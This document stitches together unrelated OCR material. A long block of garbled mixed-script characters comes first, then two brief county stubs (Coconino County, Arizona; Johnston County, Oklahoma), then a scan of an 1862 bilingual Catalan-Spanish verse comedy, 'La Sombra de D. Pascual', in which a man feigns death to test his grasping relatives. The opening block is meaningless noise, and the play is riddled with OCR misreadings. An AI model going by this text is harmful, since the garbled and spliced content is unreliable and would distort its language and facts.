tip di y у እ / ДУ 1 0 ДА, Я QUUM A 00 / ^ Mh О, 4 “(OU ነንን 14 М КУ. 7 AY AY AY RAY A) YY IA
44:44. /፤////////////፡፡/,
d N 44M 0 ۷ CALE ALY (44 AU M lb ll lll ҮҮ;
ИШ (ДАЙ 0 0 AN ЖАКУ EK a АМУ бсодОШО 000 ATA AT E E fı
р ЖУУ, WO 4 АНА АДАМ 07 0۳0 ۷ УДАР ATAT AY AT AT AY AY AY dd (4
ШИ ОЙ) VU СОО FATTA ATA ATA AT AT, GOOEY INS N ۴777۴۶ AT MA REN
WANN HEC ПИРА ГОЛГО2 МА Г(144:4444444114 44401111
AY МАСЕ (0660) KO GA ያያ A d A АЛ TAT IATA A
pp АМЛАЖ 0 ዘዘ (ፈሪ o 0 УИ ИАЕА ЖУУЛУУ, ያያ IR ATA AT AT
И n AM ү, 0۷۷ Si? NA MÄ Mi mu И (0۷ ni UUU ИЙГ! ۷ 0 OL (141/0600066606 КӨР,
እ. ነ X (7171 1 Ч 4 1 17170217 AY AY AV AV AY LY LY AN ANT JIN MA AT
KE) 00000 ) ۸۷۷۵۷۳۷۵ АНА |
Wd PP lg FSI EAE Td
ھ2 К, А 4% К MALE 7 - әу | ПА му 17 / // / ( d
(76 4 717 (ፈነ (A 0 ' ¡y
ለለ Vy MM
۷ M Vi GO КУЙ) Wéi, СО
^i / 7 Pe H Hu А
KO N ነጎ gp KN 00 n 7 N Ч
Же үн
ХАЛААХ 343 ҚАЛА) ДА:
ti fetet AUT ААА Хе
ДАЛАДАЙ фута Wi да እእ
AAL ASA А КИ
АЛА WK? ARA 4111 MAM, ААА:
11111000000 ХҮС DAA
ANA, 0+۸ ANNA 3 RR ANA 001ا
чи ХООЛ ААЛУ AR VENEN ХҮС
ኣኣ MAA AA MAMA DA AA А AA «кое 0
' WAWA : ۳۷۸ ХАА ۷ MAN NW 0 ECC ААА |
ОО KUN ۸۸۸ء۸ AAA
AO NUN 350333 АКА ЛА
IKUN
ХОС ARAÑA 0 КОН ҮҮЧҮ
АА ААААААААААААААХАААЛАДААААА ААЛА, AN АА ANN UU ИНЧА
SS ۷ Sw 77 УОЛ Оо 0 АЛАГ
A $ | ААА ОО APATA AA NANA NNNNNNNNNNNNNNNNNNSNNINM UNIV UNA A A
0 NAP ۷ 1: 7
i ОО ААААААХААД 4
NS ۸۵ кк {N $ A VI NAN NAN M \ Val 7 ጎ
А d A лала AN SRA ROSA
Kiew УЛАЛААЛАЛЛЛАЛААТА ХААДАХ ХАЛААААЛААЛААААЛАААЖ А.
LANA AAS SAN AAA ANA О ООК,
ХААЛАА ANNUS ХАЛДААДЛАЛААЖ AAA A A A d
АЛА л 5 ООС V N N in ARR ЧАДАДА innnnnnnnnnnn nn VA
25 ANA Y N ДА МА МАМА Ann ЧАА АТА GN 4“ ОТОГ
AAAA AAA VAN, УУЛ ҰҚ ааа ISMA A AAA.
ХЭЛЭЭ 0467 NA 0 m M Gu АЛЛА M VV (013+ АА AN ላ, \ ላ, Ann M AA inm M N АА АА NN \ Y ХА
14 ee ҚАЛАЛАР | : NN ON ANAA NN AA NAA VIVIA AA
АЛАЛААА АА ĠU WW КУУУ) አአእአአአአአአአኪ ARENA ЧЧЧАЛДАДАЛААД
۹۸۸ MS A 00 NAA ነ WW ۷ NW їр QN ۷ 1 0 АА IN 1. ۷ ነ А?! WW AI O a ( AN NIA МАААААД
ЗААЛАА 0 һу 00 ОО y M NUN WAN NNN NUN ОО КАЛАААДААДААЛАЖ NAY
МИ Ann CANN (Ñ ۷۷۷ ክ) d 54 A Үл Vu 066 ЛАВА ТА А УЧИ УТ
0 0۵ 0 1 МАЊА АНА Qu
ААЛА AAB MINA 00,۱0۷۱0 WA | NUS
NN (AA ض۵ ከእ) ER | NANI NUN ٤4 МЕ \ 3
09۳ 1! OM nn M | \ di WANN 00 AN AN ОНОО ( ANN ААА Gv эл
5 ОЛ с A 4 4 የእቨ[እኞእእእቹ፣ እ የእኛ і Inm \ \
МАЛАА (00 ነ d VUM АКК ۷ ARAB AAT AA
eee ge \ n 00 № 0 А ላ, А. ላ NN A МАААААААДААЛААЖААБААЛА 1
МУЉА KENE) OQ О ۹ (СОЕ МИА
AWANA a LANA, ANN 0 ۷ ۵+ 0 ОО (NN ХАЛХАД
| REN ANA WW ХА ANNA ХООЛ 00 Tn АДАМА,
МАЊА КАО урин
An, АЛ? i ée NNN y 4 4 TATA TAT] АЛАМ 0 64
КАДА! ha | 5 WA NN AO ) M ዘለህ (i KN ) (Ко ААА) አ А, 0 чч
1 Үү WC МУ УІ 4 እ ( OU ( ۷ / ሰ ЖУУДУ, (MV АЛ
" ؤ۵ 0 AN ТОО ОО ОО ӨӨ
023 ДАА; déi AN 00 00 dh) AAA ANM PEINE AS MM MES
(6666 nnnr МААЛ n»n, N л “АЧ VY 444
WANNA NEUN 7171717171717) 77 (۸4 /./፡ NS
LOUPE NN IN КУ МУ, ۸۸۱۸۸ dr du NN
ЗОЛ ! Va
17.7 ЕУ
TTI ATT ATA AT AY TAT AA ИЛ пре 11444975 |
Ши (00 M UAM Ai WA Wie М 4 /ሄ 7 ку / di 7 //
ШИН ММ (id КУКЕ КӨК,
09 III УУУУ,
' TEN
í AM 4
70777077777777 7777 好
| й й 00 ши M A111 # ነሃ И
ni / INN ХОЖИЛ /#/////
/ 0 i, 7 Pl қ) የያ) ий 000) ІК 100000000 7 TERVEEN
ç 1 /
ШИ “ዘ КАН. d А
|
Coconino County is a county located in the north central part of the U.S. state of Arizona. The population was 134,421 at the 2010 census. The county seat is Flagstaff.
It is the second-largest county by area in the United States.
References
Arizona counties |
Johnston County is a county in the U.S. state of Oklahoma. As of 2000, 10,513 people lived there. Its county seat is Tishomingo.
Geography
The county has a total area of 658 square miles.
Oklahoma counties
1907 establishments in Oklahoma |
10 36^/3^
5®
,"\v LA SOMBRA
DB D. PASCUAL, *
pieza bilingüe en un acto, en verso
lin $i
um mmzz.
££>¿>}
BARCELONA.
Imprenta de la Viuda é Hijos de Gaspar, Cervantes, 3. ^
1862.
LA SOMBRA
pieza bilingüe en un acto , en verso
OaiGINiL
òe ©. foaquin íDiwas.
^ÍÍ^SciiB^
BARCELONA.
Imprenta de la Viuda é Hijos de Gaspar, Cervantes, 3.
1862.
La propiedad de esta pieza pertenece á su Autor,
y nadie podrá sin su permiso reimprimirla ni re-
presentarla en España y sus posesiones.
Don Pascual. Cinteta.
Anton. Don Pedro.
Don Miguel. Don Joan.
Andreu. Un Escribiente.
Senyor Tomás. Fantasmas y
Doña Gertrudis. Esqueletos.
La escena pasa en Barcelona en la casa
de Don Pascual.
Sala rica amueblada , tres puertas al foro
y dos laterales á los lados, algunas colgadu-
ras negras indican que hay luto en la casa ;
es un poco antes de anochecer : en la puerta
del centro del foro habrá un postiguillo prac-
ticable .
609531
Digitized by the Internet Archive
in 2012 with funding from
University of Núrth Carolina at Chapel Hil
http://archive.org/details/lasombradedpascu13921dima
.<J
I
.
.
-■
I
I
, I
Ant,
Aparecen Don Pascual y Anton.
D. Pasc. Tú fes lo que jo V he dit
y no ten penediràs.
A ixó ray.' es lo de menos,
no'm causa pas gran traball;
lo que jo no pucli entendrer
ni á la barratina in cab,
coñi vosté ab sos cuati e cuartos
ben àgils, ben bons y sans,
baja demanat la caixa,
los fossérs, los capellans,
que 'I portin al Sementiri
Vosté no haurà calculat
qu1 es un lloch que lots 6Í assecan
y que no hi estará gras;
jo no puch menos de dirli
qn' es capritxo estravagant;
aixó de víurer difunt
jo no m' ho puch empassar.
G
D. Pasc. Ja, ja, ja, segons entench (riendo).
Anton, la por t' ha agafat.
(Llaman d la puerta derecha).
Ant. Han trucat; amaguis.
D. Pasc. Mira
antes, qui demana.
Ant. Qui hi ha. (mirando por la regil la).
D. Pasc. Qui será. (aparte).
Ant. Es la Dolores,
criada de don Joan,
notari del segon pis.
D. Pasc. Pots obrir. (se retira).
Ant. No vols entrar? (abre y figura que ha-
bla con otra persona de afuera).
Tu mateixa... no Dolores,
aquí dalt no ha vingut pas... ta).
sinó que fos... Si... adiós, (cierra la puer-
D. Pasc. Que volia? (saliendo).
Ant. No es res, cá:
diu que '1 mico als ha fugit
y ha preguntat si aquí dalt •
lo habiam vist.
D. Pasc. Ah!
Ant. Com deyam,
ara que estich enterat
de tot lo que linch de fer
:ib lo que estem preparant,
no'rn dirá per quin obgecle
á fel tan gasto y traball?
D. Pasc. Ja sabs que ab los meus parents
vivim poch agermanats,
y que temps ha de reüll,
d' esquena 'ns estem mirant.
Farà cosa de tres mesos,
que tú ten recordarás
media certa disputa
Ant. Sobre interessos.
D. Pasc Cabal.
Al) consell se reuniren
demanant la major pan,
una entrevista amistosa
• peí* lo a-sumpio terminar.
no'ns pognerem convenir,
junts me varen insultar,
de casa 'ls tregüé 'I moment
prometentlos mòlt formal 5
ipie de tot lo que jo tinch
no se honrarían de un clau.
feren tots mil esbofechs.
mil juraments y escrefalls,
dihentme que no volian
que ni una palla 'ls deixás,
y que si tal cosa feya
tot ho ferian cremar:
y tú no sabs Antonet
loque baren fer? Ja, ja. (riendo).
Ant. Que sé jo.
D. Pasc. Van robar...
Ant. ¡Com!
D. Pasc. Van robar... ja, ja, ja, ja. (riendo),
Ant. Seria mòlt poca cosa.
D. Pasc. Tots los papers que guardats
tenia dins lo escriptori,
dels actes, censos, censáis,
testaments, comptes, recibos...
mes ni hagués hagut... ja! ja!
Ant. Y sen riu? y ab lanía fleuma
vostè ho ha pres don Pascual?
D. Pasc. Qué vols fer? Vols qué m' alteri,
qué s'm pugin las sanchs al cap,
qué tinga una feridura
y hasta aquí habem arribat?
Ja, ja, ja. (tiendo).
Ant. Com mes vá ciega
que menos V entech.
D. Pasc. Ja, ja. (riendo).
Pues senyor; tens de saber
que quinse días atrás,
á un per un, als vaig escriurer
dihent que estaba mòlt mai:
n' has vist tu cap? jo tampoch,
ni un sisquera s' ha dignat
veni' á preguntar per mí;
y ara Antonet, tú veuràs
que com moscas á la mei
sabent que 'Is ulls he aclucat
vindran á pluja menuda.
Ant. Es inútil lo que fa;
pues jo crech per mes que diga
que tampoch ne vindrà cap.
Y menos habent promès...
D. Pasc. Que sabs tú- no faltarán,
ja, ja, lo que 't toca fer
es fingir sentiment gran;
y si algun pretent saber
si tú lo testament sabs,
dirás á n' al que 't pregunti
que á ell hereu V he nombrat.
Ja has ben enlerat á tots
de lo que han de fer?
Ant. Ja estan.
D. Pasc. Y á don Joan lo notari
ja li has dit...
Ant. Toi está
d' això no'n passi cuidado:
han trucat! (llaman d la puerta derecha).
D. Pasc. Mira qui hi ha. (mirando por la rendija).
Ant. Don Miguel lo sen nevot.
D. Pasc. Aquest es dels principals
que no vol palla! Que dius?
Ant. Voldrà grá.
L>. Pasc. No es ell al tonto.
Que t' he dit? ja som al ball;
á comensar la comedia
o
en seguida jo me'n vaig:
á lots los que 'm vulgan véurer
podras deixa ríos entrar
- y tú viua subintet
que t' aniré ensinestrant. (vase puerta foro).
[Sa/e D. Miguel muy petimetre pero pobre , con
anteo] os).
D. Míe Buenas tardes amiguito.
Ant. Que som amichs.^ {aparte.) Deu lo guart.
[alto fingiendo tristeza y enjugándose los ojos).
D. Mig. Veré si algo averiguo. (aparte).
Ant. Apareix que ve esmolat. (aparte).
D. Míe Dime Antonio,- con qué es cierta
la funesta novedad
de mi tio?
Ant. Ja ho pot véurer,
lo especte li diu bastant.
D. Mig. Dios en su guarda le tenga, (con frialdad).
Ant. Bon consol, pero del mal (aparte).
lo menos.
D. Mig. Y dime, dime; (con interés).
supongo que tú sabrás
como ha dejado sus cosas?
Ant. Vaya si ho sé.
D. Mig. Si?
Ant. Y tant.
D. Mig. Si fuese yo el heredero... (aparte).
con maña le haré cantar.
Pues... las dejó... (alto).
Ant. Ja es de véurer,
las deixaba, mòlt, mòlt mal:
pero ab gran instancia meva
ara está ja ben posat.
D. Mig. No faltará recompensa
si me obligan á heredar.
Conque siendo asi, es decir,
que tú amiguito sabrás
si nombró algun heredero.
10
Ant. Hui'udcru! que no ho sap?
Vosié lio ignora?
1). Mig. Si áfe.
Ant No fassa 'I dissimulat,
no li enmanllevaré res,
I). M G. Si seré yo... en verdad
ignoraba.., ¡oh fortuna!
yo fallezco...
Ant. Qué té.J
D. Mig. ¡Ay!...
Ant. Qué li agafa alguna cosa?
I). Mig. El sentimiento
Ant. Ah! ja.
U Mig. La pérdida de mi lio.
Ant. Com no s' es mort mes abiat.
L>. Mig. Ay lio del alma mía;
y no me pudo abrazar,
él, que tanto me quería.
Ant. Com lo llop á n' al ramat.
1). Mig. Donde está? yo quiero verle.
Ant. Aquí dintre está estirat. (D. Miguel se di-
rige d la puerta del foto).
Es tancada aquesta porta,
passi per la sala gran.
(O. Miguel se dirige d la. puerta izquierda luego
se para y mirando d Antonio retrocede y dice).
I). Mig. Y dime Antonio; quedó
muy desfigurado?
Ant. |Cá!
mes bonich que ab vida. Sembla
un ángel del cel baixat.
(vdse D. Miguel puerta izquierda).
Aquest per ara ja porta
foch á la cua; bè va.
á tots F aniré encenent
aixís com vajan entrant.
(Sala D. Miguel azorado puerta izquierda).
D. Mig. ¡Antonio! /Antonio!
(con intención),
(con ansiedad).
(con sorpresa).
(aparte).
(alto).
(aparte),
(aparte).
(aparte).
11
Ant. Qu<: vol!
D. Mig. H<* visto una sombra!
Ant. ¡Ca!
D. Mig. He oido ruido!
Ant. Menos.
D. Mig. Ay Antonio, yo lo he visió!
Ant. Debia ser don Pascual. (uparle).
Tot això no es mes que por, (alto).
Vinga, jo aniré debanl.
I). Mig. No me atrevo... (aparte).
Ant. Qué no vé?
D. Mig. Que se yo, no puedo andar,
no se que tengo.
Ant. La por.
D. Mig. Ay de mí!
Ant. Dongam la ma. (le toma la mano y van-
se por la puerta izquierda).
Sa/e D.* Gertrudis por la puerta derecha.
D.' Ger. Por fin he quedado libre;
fortuna ha sido dejar
á esa mugerzuela, que (con orgullo ridiculo
con su cesto; y en la calle y afectado).
hablando con ella ¡ay/
no se lo que me pasó,
me ha sofocado. Será (reconociendo la es-
Xa muerte de mi hermano cena).
como me han dicho verdad;
a quien podré dirijirme
que pudiese averiguar....
¡averiguar! que bajeza,
señor, quien otro podrá
ser mas que yo su heredera,
no soy su hermana? pues bien,
mi derecho es muy legal, (mirando por to-
¡Uf! que casa; ni un criado dos fados).
solo hay para anunciar,
que desarreglo en los muebles,
que desorden, bueno va,
12
como si no hubiese dueña:
ya derechos andarán •
cuando yo tome las riendas.
Hola, muchacho; no hay [abanicándose con
tono de importancia).
aquí nadie?... ¡no lo dije!
obligar así á quedar
de plantón en la antesala
á Doña Gertrudis; ¡¡ahü
á los criados que encuentre
los despido muy formal
para que así á su señora
aprendan á respetar, (yate puerta iz<páer-
Sale Cinteta . da.)
Ciín. He caminat un xich mes
pero també hi arribat;
pensaba donya Gertrudis,
que 'm podria descalsar;
ja 'm ficaba Ms dits al coll
y feya esforsos probanl
per si jo bomitaria,
pero cá res, s' ha tallat.
Segons he vist no sabia
la novedat, es estrany;
pero jo li he fet al tonto;
per no dar que sospetxar,
he donat una altre volta
y cap aquí ra' hi enfilat.
si jo puch vuérer I' Anton,
ja 'm dirá tot lo que hi ha.
Qui vé?
Sale Andreu.
And. ¡Cinteta! (con sorpresa).
Cm. jAy Andreu' (con admiración).
Tú per aquí?...
And. Si, qué hi ha? (con altives).
Cin. Homa res, res, no t' encrestis,
And. Oui io? no m' encresto.
18
ClN. Jü,
no se t coneix ab la lila.
And. A qui, á mí?
Cin. ' Si á tu, si fas
una cara de tres Déus
mes llarga que un bacallà;
sembla lo mateix que i degan
y que no t! hajau pagat.
And. Si vols noya agafar peix
tira ab un altre.
Cin. Ja va
And. A mí no m1 afanas Cinta
que sò galó de sis caps.
Cin. T equivocas, no vench beta
perquè vench corda d' espart.
And. Lo que mòlt a mí m' admira,
y lo que jo trobo estrany,
que desprès de mil promesas
com has fet, no ho pols negar;
vulgas tu quedar tant mona
que V estigas aquí dalt.
Cin. Tú vas ser qui vas prometrer
que no tornarías may,
que may mes de aquesta casa
passarias per devant .
And. Això es nyapa; tú vas ser.
Cin. Mentida tú.
And. Això es fals.
(Sale D.ñ Gertrudis, puerta izquierda).
D." Ger. Que bulla es esta? ¡qué miro!
Cin- Donya Gertrudis!
And. Ay, ay!
jo que 'm creya se '1 primer....
D. "Ger. Nodijistes que ibas a....
que se yo donde te has dicho.
Cin. Com vosté que també hanat,
tampoch recordo ahont ha dit.
D." Ger. Para venir, quien te ha dado
14
ú lí tanta facultad'
Cin. Y com es senyora mia
<jne la trobo jo aqní dalt?
D.8 Ger. Si me pedirá à mí cuentas
la mocosa, bueno está.
Cin. A qui diu mocosa 'I drap
de cuina.
TV Ger. Oiga...
Cin. Marmota,
fregall de netejar plats.
D." Ger. Modera tu infame lengua.
Cin. Que farà, diga, veyam.
And. Búscali las pessigollas (aparte).
veuràs si 't pentinarà.
Cin. Sàpiga que sobre meu
s' hi troba mes netedat,
que no ha tingut en sa vida
la xarxó del hotavant;
perquè va ab la mantellina
y jo ab lo cistell al bras
á cregut que la Cinteta
per vostè 's lè de amagar?
D.a Grb. ¿Conmigo ¡que desvergüenza.'
tp atreves á comparar?
Cin. ¡Qué diu ara! ¿compararme
ab vostè jo? Dèu men guarí.
Sàpiga perqué ho entenga
que no in vull abaixar tant,
que cuant surto pel' carrer
puch portar sempre 'I cap alt,
y en passanlne la Cinleta,
totom li fa rotllo; está?
si no porto ringu rangu,
tampoch ningú ha tingut may
d1 estirarme las faldillas
per pagar deutes; ho sab?
And. Apaga aquesta candela (aparte).
que la oferta s' ha acabat.
15
l).aGF.R.
Yo te mandaré guardar
en adelante respeto,
y perdón implorarás
ClN. Y A
nd. ¡Qué.'
D." Ger.
De mi hermano Pascual.
And.
ClN.
¡ftT ha aixafat bè la guitarra!
A vostè tot li ha deixat?
(aparte),
And.
Tórnaten á casa Andreu
(aparte).
D'Ger.
queja han girat lo missal.
Si, á mí.
ClN.
Té de saber,
que per mes que haja heredar,
li falta apéndrer de modos
D.'Ger.
donya orgullosa.
Eso mas.
ClN.
D." Ger.
Cállate,
ó á palos te he de arrojar
á la calle.
Cin.
¡A mí vosté!
ja es massa '1 diro.
D/ Ger.
Qué harás?
hola criados; he, muchachos. .
me irrita tanto desmán.
••
ClN.
No cridi ó de un cop de puny
faig saltarii un tros de nas.
D.sGer.
Veremos como te atreves.
Cin.
Ho vol véurer? allá va. (o
itropellando
D'Ger.
Socorro! socorro! á I).
^Gertrudis).
And.
Ela, .
basta.
Cin.
Apartat del devant.
And.
Basta d i ch.
Cin.
Deixem estar.
Salen Antonio y D. Aligue
/.
Ant.
D. Mig.
Qu' es aquest barullo?
Qué hay?
]()
quien causa lamo alboroto0
Jacinta!
Cin. Miquel/
Ant. Bè va. (aparte).
D. Mig. ;0h! Tia.
D.aGER. Miguel!
(Salen D . Pedro y Sr. Tomás puerta derecha).
D. Ped. Dios guarde
á ustedes.
Sr. Tom. Que Dèu los guart.
And. A n1 aquesta casa avuy {aparte).
plouhen parents/
D.a Ger. Donde vais?
D. Mig. Al oir tanto ruido
salimos...
Sr. Tom. Qué 'Is ha passat?
Ant. No s' ha armat mala guineya (aparte).
y tot just han arribat.
And. Entre tan jo miraré (aparte).
si á 1' Anton puch sonsacar.
Donchs Anton, segons han dit, (á Antonio).
tan mateix es veritat
qu' es donya Gertrudis...
Ant. Qué?
And. Heréba delsèu germá?
Ant. Gom jo del rey.
And. Qué m' has dit!!
Ant. Lo que sents. Si jo he local
tot aquest tinglado.
And. Tú?
Ant. Jo he sigut.
And. Donchs ja sabrás
si s' ha recordat de mí.
Ant. Prou que se n' ha recordat.
and. Si? de veras?
Ant. Si, si, y tant.
And. Qui es I' hereu?
Ant. Ja vols sabero...
17
And. Pelis.... (con indiferencia).
Ant. Jum.... (mirándole con intención).
And. Qué?... '(con interés señalándose á si
mismo).
Ant. Ah. (con tono afirmativo) .
And. Eli? (con entusiasmo).
Ant. Xit... (señalando silencio) .
And. Ja. (con satisfacción y orgullo).
Es mes de lo que jo 'm creya. (aparte).
ànt. No ha quedat mal enterai. (aparte).
And. Sembla que ab las mevas manyas
al últim li fet saltar.
l).a Ger. Por mí todo se acabó.
Cin. Jo per mí faig altre tant.
l).a Ger. Me conformo.
Todos. Jo també.
D.a Ger Ah necios... (aparte).
U. Mig. Viva la paz.
Ant. Qué succeheix don Miguela
s' ha firmat algun tractat?
D. Mig. Es un tratado amistoso
entre parientes.
Ant. Ah, ja.
I). Mig. Lástima me dan á fe. (aparte).
D." Ger. Buen chasco van á llevar. (aparte).
And. Que 'b treuhen de passar temps, (aparte).
I).a Ger. Antonio; con claridad;
contestarás con franqueza
á la pregunta que hará
doña Gertrudis?
Ant. Si; prou.
Ja pot vostè .continuar.
I).a Ger. Los parientes que aquí estamos
formamos mitad y mas,
juntos hemos convenido
respetar la voluntad
¡ay/ de mi difunto hermano, (sollozando).
And. Cin. y Sr. Tom. Que Dèa I' haja perdonat.
(aparte).
[a-I to).
18
l) a Gf.r. I). Mig. y D. Ped. Que en paz descanse
Todos. Amén.
D." Ger. Como tú no ignorarás
sus disposiciones, creo
no tendrás dificultad
en decirnos francamente
quien es su heredero.
Ant. Ay!
que t' apretan Antonet.
Francament, á mí 'm sab mal
ser lo nunci de mal temps.
Todos. Cómo?
Ant. Si, es veritat;
pues que si ab un faig content,
cinch tinch de descontentar;
ara 's mostean mòlt amichs,
després...
Cjn. J;j estem conformats.
Ant. Prometen tots convenirse?...
Todos. Prometemos.
Ant. Allá va.
Pero jo crech que un deis tanls,
tè uns papers
Todos. Si, si.
D. Mig. Mi lia.
ü.a Ger. Nada tengo.
Cin. And. y Sr. Tom. Es veritat.
I).a Ger. No recuerdo
Ant. Cóm! no 'Is té
donya Gertrudis?
Voz. Si!!!... (.ve
Todos. ¡Ahü
qué voz es esta!
Ant. No sé.
Tom. Pues s' ha sentit bastant clar.
D. x\1ig. Mis piernas me bambolean.
And.' Si 'm voldrán á mí espantar.
Sr. Tom. He vist V Anton y 1' Andreu {aparte á Don
(levantando la voz).
oye una voz sepulcral),
(con asombro).
(con calma).
19
. que parlaban d' amagat. [Pedro y Cinteta).
Ant. Créguim no se obstini pas, {aparte a. doña
Gertrudis que estará pensativa).
los morts tenen malas burlas.
l).a Ger. Esta voz tal vez será (aparte d Antonio).
un aviso de mi hermano.
Ant. No hi posidupte. (id.)
D/Ger. Hago mal
en ocultar los papeles;
no, no, diré la verdad.
Ant. Donya Gertrudis confessa
que 'n lo sèu poder están
reunits tots los papers;
usant ab formalitat
sò de parer que 'Is presenti,
y aquell que sia nombrat
y quedi hereu, en presencia
de lots los recullirá,
li darem la enhorabona
y tot quedará acabat.
Aprobado.
M' hi convich.
M' hi conformo també igual.
Yo también digo lo mismo.
Jo també.
No me dirás (aparte).
esos papeles Antonio,
quien se los ha de llevar?
Vagi Is á buscar, no temí,- (aparte).
ningú seis emportarà.
Voy á buscarlos y vuelvo,
no me haré mucho esperar,
por fortuna están muy cerca.
Ya son míos. (vase puerta derecha).
Ant. Entre tant,
vagin á n' al menjador;
perqué no siga cansat
mentres venen los papers
0.
MlG.
An
D.
Sr.
fOM
D.
Ped.
Cu
i.
D.«
Ger.
Ant.
D.£
'Ger.
20
D. Mig.
Todos.
A nt.
D. Mig.
And.
Cin.
D. Tom.
Todos.
Ant.
podrán esperar sopant.
¡Cenar! viva Antonio.
Viva.
Xit... callin per tots los sants,
no reparan que aquí dins
está difunt don Pascual?
Pobre tio!
A y plorem/
Plorem!
y Ped. Plorem/
¡Ah/... ¡ah/... ah!.
[sollozando):
■ (id.)
(id.)
(sollozando).
(varise sollozando).
Ja, ja, qui s* esta de ríurer
y de tan ríurer plorar,
vehent fer á las personas
las paperinas mes grans:
un gabaitx al so de V orga,
una mona fa saltar.
un altre fa ballar l' òs,
y jo sol, sense traball,
ab lo nom de las pessetas
als sis junts los faig ballar,
y al to de la meva veu
tots l 'òs y la mona fan.
Se oye llamar quedo d la puerta del foro.
Ant. Mana Senyor... Si senyor,
ja sòn fora.
Don Pascual saca la cabeza por el postiguillo de la
puerta del foro, con gorro blanco r pintado fi-
gurando difunto.
Ant. Ja, ja, ¡a. (riendo).
i). Pasc. Ja, ja, faig bona figura? (riendo).
Ant. La mes bona s1 ha triat
per espeniar criaturas.
D. Pasc, Bueno bueno; has abisat
los homens que han de venir?
Ant. A dall s' están esperant.
D. Pasc. Ves avisarlos que baixin.
Ant. En seguida men hi vaig.
21
D. Pasc. Ja, ja, ja; com compaiéixen (riendo).
á la gàbia, no va mal;
tots portan á la memoria
lo desitj de arreplegar,
y de dir enlremlo á véurer
sols un se n' ha recordat:
ylgú ve, sento soroll,
ficat á dintre Pascual.
Entra y cierra el postigo. Luego salen Antonio y
varios hombres embozados , que entran en la
puerta del foro conducidos por Antonio.
Ant. Alerta, sense ruido,
poch á pocb, vagin entrant;
á dintre s1 espera I' amo
que 'Is deixarà colocáis.
Se oye ruido de platos que se rompen y gritos >
salen atropellándose don Miguel Andrés Jacin-
ta, Señor Tomás y D. Pedro.
Todos. Socorro, Socorro!
Cín. Aussili
per la mort de Dèu!
Sale Antonio por la puerta izquierda del foro.
Ant. Qué hi ha?
D. Mig. Ay Virgen de los suspiros!
Cín. Jo tota eslich tremolant!
Sr. Tom. No sé lo qu'm succeheix/
Ant. No 'm dirán lo que ha passat?
D. MlG. Si, si, allá... (todos miraría dentro).
Ant. Qué 's cala foch?
Cín. Bè es mes pitjor lo que hi ha!
Ant. M' assustan, diguim lo qu' es!
L' amo ara no ha sigut pas! (aparte).
And. Aquesta vegada Anton
jo ho he vist y ho he paipai!
Ant. Qu' has paipai?
Cín. A mí també
m1 han iret lo plat de devant!
Ant. Bò (jui ha sigut?
22
D. Mig. A mí me han hecho saltar
las antiparras!
Sr. Tom. Y á mí m' ha pegat un cop al nas!
Ant. Qué 'm volen fer tornar mona?
And. A mi m' ha agafat la ma!
Ant. Díganme qui.
And. Qui?
ClN. Qui? • {con misterio y espanlo).
Sr. Tom. Qui?
D. Mig. Ay Antonio, era verdad
cuando decia haber visto...
And. Mentres estabam sopant...
D. Mig. Han apagado la luz!
Sr. Tom. Hans han romput tots los plats!
Cin. Hans han robat las toballas.
Ant. Esplíquinme com ha estat.
And. Estant sopant, per darrera
sentim sorroll de cadenas
que 's venían acostant;
y com un tigre salvatge
que de temps no hagués menjat,
sobre la taula se 'ns tira
de repente com un Ham,
deixánlnosen á las foscas
y ab los cabells herissats,
una ánima negra.
Cin. No,
qu' era roja.
Sr. Tom. Jo he vist blanch.
D. Mig. Era parda.
Ant. Parda ó groga,
no deixa de ser estrany.
Se oye ruido de cadenas muy ligero y muy lejos.
I). Mig. Antonio! oyes?
Todos se agrupan ¿i la puerta izquierda. Antonio
entra precipitadamente por la puerta izquierda
del foro.
D. Mig. Santo Dios, (rezando).
23
Santo fuer le, inmortal...
Cin. No guanyarem prou per sustos.
Su. Tom. Veyéu un bulto allá baix?
And. Sembla que ve!
D. Mig. Líbranos
gran Señor de todo ma!.
Sale Antonio por la puerta izquierda del foro.
Ant. Miréu perqué m' han fet córrer;
lo que tant als ha assustat
era 'I micu, que á la tarda
s* ha escapat del pis de dalt.
And. No se sent res. (mirando d dentro).
Todos. No? (Jijando la atención d dentro).
Sale D.h Gertrudis con papeles envueltos y ata-
dos con una cinta.
Ant. Ja 'ls porta? (aparte d D.A Gertrudis, es-
ta le muestra los papeles).
Tots sòn aquí? (aparte d Antonio).
D.a Ger. Si, aquí están (id.)
todos reunidos. (id.)
Ant. Bueno. (D.& Gertrudis le toma del brazo,
con mucho misterio).
D.a Ger. Juras antes ser verdad,
que ninguno mas que yo
de aquí los ha de sacar?
Ant. Ja ho he dit,- y repetesch
ab jurament mòlt formal,
que ningú, m' entén? ningú
de aquí seis emportarà.
D.a Ger. Buenas noches. (alto).
Anï. Bona nit. (todos se vuelven precipitándo-
se hacia doña Gertrudis).
Los papers han arribat.
Todos. Los papeles, los papeles.
Ant. Cuidado que 's farán snal.
D. Mig. Yo los quiero.
Cin. Jo també.
And. Vingan aquí.
24
D. Mig. Dónde están?
Todos. Los papeles, los papeles.
D.a Ger. Yo no los quiero soltar.
And.
Vosté no es res.
D.a Ger.
Cómo no?
D. Mig.
No señora.
Todos.
No.
D.a Ger.
Soy mas
que todos.
ClN.
Vosté!
D.a Ger. Yo.
And. Jo sò I' hereu.
Cin. Tú? Cá!
D. Mig. Cese ya tanta disputa {formando círculo con
misterio).
que yo diré la verdad, (momento de silencio).
Ant. Tots han perdut la xabeta. (aparte).
D. Mig. Yo soy quien debe heredar.
Todos. Tú!
D,a Ger. Yo seré.
Tom. Qui es hereu?
And. Jo.
D. Mig. Yo.
Cin. Jo.
D.a Ger. Yo.
Todos. Yo.
Se vé el resplandor de un rá) o, óyese un trueno
y ruido de cadenas^ llaman á la puerta : terror
general.
Todos. ¡¡Ahí!
Ant. Qui hi ha?
D. Joan. Un servidor de vostès, (desde fuera; ani-
And. Mes parents! no som bastants? macion).
Antonio abre la puerta y salen D. Juan notario, un
escribiente y dos comparsas con palos.
D, Joan. Dèu los dò mòlt bona nit.
Todos. Buenas noches.
D. Mig. Qué querrán!
'2o
l). Joan. Voslés ja m deurán conèixer.
Sr. Tom. Es lo notari que osla...
ü. Joan. Al segon pis de eixa casa;
Don Joan Malagradat, y
Llop, notari de número
de la gran ciutat condal.
Nosaltres aquí venim,
sabedors que don Pascual
avuy ha mort, á ter una
revelació interessant,
qu1 es respecte á interessos
de bastanta cantitat;
assumpto que ab plena vida
. lo difunt pendent deixà.
Si vostès volen sabero,
podran tenir la bondat
de dir qui ha quedat hereu.
Todos. Yo. (tocios se miran linos ¿t otros).
1). Joan. Prenga acta del que dirán.
